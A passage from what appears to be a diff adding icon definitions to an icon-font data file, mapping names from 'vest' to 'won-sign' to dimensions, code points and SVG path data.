35.9 80 80-35.9 80-80 80z"], + "vest": [448, 512, [], "e085", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z"], + "vest-patches": [448, 512, [], "e086", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z"], + "vial": [480, 512, [], "f492", "M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z"], + "vials": [640, 512, [], "f493", "M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z"], + "video": [576, 512, [], "f03d", "M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z"], + "video-slash": [640, 512, [], "f4e2", "M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z"], + "vihara": [640, 512, [], "f6a7", "M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z"], + "virus": [512, 512, [], "e074", "M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z"], + "virus-slash": [640, 512, [], "e075", "M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z"], + "viruses": [640, 512, [], "e076", "M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z"], + "voicemail": [640, 512, [], "f897", "M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z"], + "volleyball-ball": [512, 512, [], "f45f", "M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z"], + "volume-down": [384, 512, [], "f027", "M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z"], + "volume-mute": [512, 512, [], "f6a9", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z"], + "volume-off": [256, 512, [], "f026", "M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z"], + "volume-up": [576, 512, [], "f028", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z"], + "vote-yea": [640, 512, [], "f772", "M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z"], + "vr-cardboard": [640, 512, [], "f729", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z"], + "walking": [320, 512, [], "f554", "M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z"], + "wallet": [512, 512, [], "f555", "M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "warehouse": [640, 512, [], "f494", "M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z"], + "water": [576, 512, [], "f773", "M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z"], + "wave-square": [640, 512, [], "f83e", "M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z"], + "weight": [512, 512, [], "f496", "M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z"], + "weight-hanging": [512, 512, [], "f5cd", "M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"], + "wheelchair": [512, 512, [], "f193", "M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z"], + "wifi": [640, 512, [], "f1eb", "M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z"], + "wind": [512, 512, [], "f72e", "M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z"], + "window-close": [512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z"], + "window-maximize": [512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z"], + "window-minimize": [512, 512, [], "f2d1", "M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z"], + "window-restore": [512, 512, [], "f2d2", "M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z"], + "wine-bottle": [512, 512, [], "f72f", "M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z"], + "wine-glass": [288, 512, [], "f4e3", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z"], + "wine-glass-alt": [288, 512, [], "f5ce", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z"], + "won-sign": [576, 512, [], "f159", "M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 